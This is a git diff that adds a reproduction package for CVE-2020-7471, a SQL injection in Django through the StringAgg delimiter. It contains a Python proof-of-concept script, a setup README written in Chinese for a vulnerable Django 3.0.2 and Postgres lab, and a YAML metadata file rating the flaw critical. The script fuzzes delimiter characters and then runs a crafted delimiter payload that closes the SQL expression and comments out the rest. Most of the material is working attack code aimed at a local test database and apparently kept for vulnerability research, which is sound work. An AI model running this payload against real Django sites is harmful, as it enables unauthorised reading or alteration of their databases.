diff --git a/cve/django/2020/CVE-2020-7471/CVE-2020-7471.py b/cve/django/2020/CVE-2020-7471/CVE-2020-7471.py new file mode 100644 index 0000000000000000000000000000000000000000..5b6023ea7c49b7e3d4b9624079403c915aab7c41 --- /dev/null +++ b/cve/django/2020/CVE-2020-7471/CVE-2020-7471.py @@ -0,0 +1,66 @@ +# encoding:utf-8 +import os +import django +os.environ.setdefault("DJANGO_SETTINGS_MODULE", "sqlvul_project.settings") + +# Django 版本大于等于1.7的时候,需要加上下面两句 +if django.VERSION >= (1, 7):#自动判断版本 + django.setup() + +from vul_app.models import Info +from django.contrib.postgres.aggregates import StringAgg +from django.db.models import Count + +""" +postgres 预先执行的SQL +CREATE DATABASE test; +\c test; +\d 列出当前数据库的所有表格 +""" + +def initdb(): + data = [('li','male'),('zhao','male'),('zhang','female')] + for name,gender in data: + Info.objects.get_or_create(name=name,gender=gender) + +def query(): + # FUZZ delimiter + error_c = [] + other_error_c = [] + for c in "!@#$%^&*()_+=-|\\\"':;?/>.<,{}[]": + results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name',delimiter=c)) + try: + for e in results: + pass + except IndexError: + error_c.append(c) + except: + other_error_c.append(c) + print(error_c) + print(other_error_c) + +def query_with_evil(): + ''' + 注入点证明 + 分别设置delimiter为 单引号 二个单引号 二个双引号 + 尝试注释后面的内容 ')-- + :return: + ''' + print("[+]正常的输出:") + payload = '-' + results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload)) + for e in results: + print(e) + print("[+]注入后的的输出:") + payload = '-\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- ' + results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload)) + for e in results: + print(e) + + + +if __name__ == '__main__': + print(django.VERSION) # 测试版本 3.0.2 + initdb() + query() + query_with_evil() \ No newline at end of file diff --git a/cve/django/2020/CVE-2020-7471/README.md b/cve/django/2020/CVE-2020-7471/README.md new file mode 100644 index 0000000000000000000000000000000000000000..09c70a677da356fd7b52f4965eca595d9a2bcc35 --- /dev/null +++ b/cve/django/2020/CVE-2020-7471/README.md @@ -0,0 +1,52 @@ +### CVE-2020-7471 + +这个仓库提供 CVE-2020-7471 Potential SQL injection via StringAgg(delimiter) 漏洞的环境和 POC + +### 受影响的 django 版本 + +- 1.11 到 1.11.28(不含) +- 2.2 到 2.2.10(不含) +- 3.0 到 3.0.3(不含) + +### 下载使用前需要如下操作: + +1. 安装 django 漏洞版本,我测试用的是 + + ```python + pip install django==3.0.2 -i https://pypi.tuna.tsinghua.edu.cn/simple + ``` + +2. 参考 [https://www.runoob.com/postgresql/windows-install-postgresql.html](https://www.runoob.com/postgresql/windows-install-postgresql.html) 完成 postgres 数据库的安装 + +3. 新建数据库 + + ```sql + CREATE DATABASE test; + ``` + + +4. 修改 sqlvul_projects/settings.py 里面的数据库配置,如果上一步你安装用的默认配置(包括设置密码为postgres),就无需修改任何配置,可以跳过这一步 + + ``` + DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.postgresql', + 'NAME': 'test', # 数据库名称 + 'USER': 'postgres', + 'PASSWORD': 'postgres', # 数据库用户密码 + 'HOST': '127.0.0.1', # 数据库地址 + 'PORT': '5432', + } + } + ``` + +5. 通过 django 初始化数据表 + + ```shell + python3 manage.py migrate + python3 manage.py makemigrations vul_app + python3 manage.py migrate vul_app + ``` + +然后运行 POC 脚本`CVE-2020-7471.py`就可以了 + diff --git a/cve/django/2020/yaml/CVE-2020-7471.yaml b/cve/django/2020/yaml/CVE-2020-7471.yaml new file mode 100644 index 0000000000000000000000000000000000000000..a57824fba46cc88ee6d89f902eecec30216fc2c5 --- /dev/null +++ b/cve/django/2020/yaml/CVE-2020-7471.yaml @@ -0,0 +1,21 @@ +id: CVE-2020-7471 +source: https://github.com/Saferman/CVE-2020-7471 +info: + name: Django 是一个高级的 Python 网络框架,可以快速开发安全和可维护的网站。由经验丰富的开发者构建,Django 负责处理网站开发中麻烦的部分,因此你可以专注于编写应用程序,而无需重新开发。 它是免费和开源的,有活跃繁荣的社区,丰富的文档,以及很多免费和付费的解决方案。 + severity: critical + description: | + 1.11.28 之前的 Django 1.11、2.2.10 之前的 2.2 和 3.0.3 之前的 3.0 如果将不受信任的数据用作 StringAgg 分隔符,则允许 SQL 注入 + scope-of-influence: + Django 1.11.x - 1.11.28 + Django 2.2.x - 2.2.10 + Django 3.0.x - 3.0.3 + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2020-7471 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-7471 + cwe-id: CWE-89 + cnvd-id: None + kve-id: None + tags: Django, Sql注入 \ No newline at end of file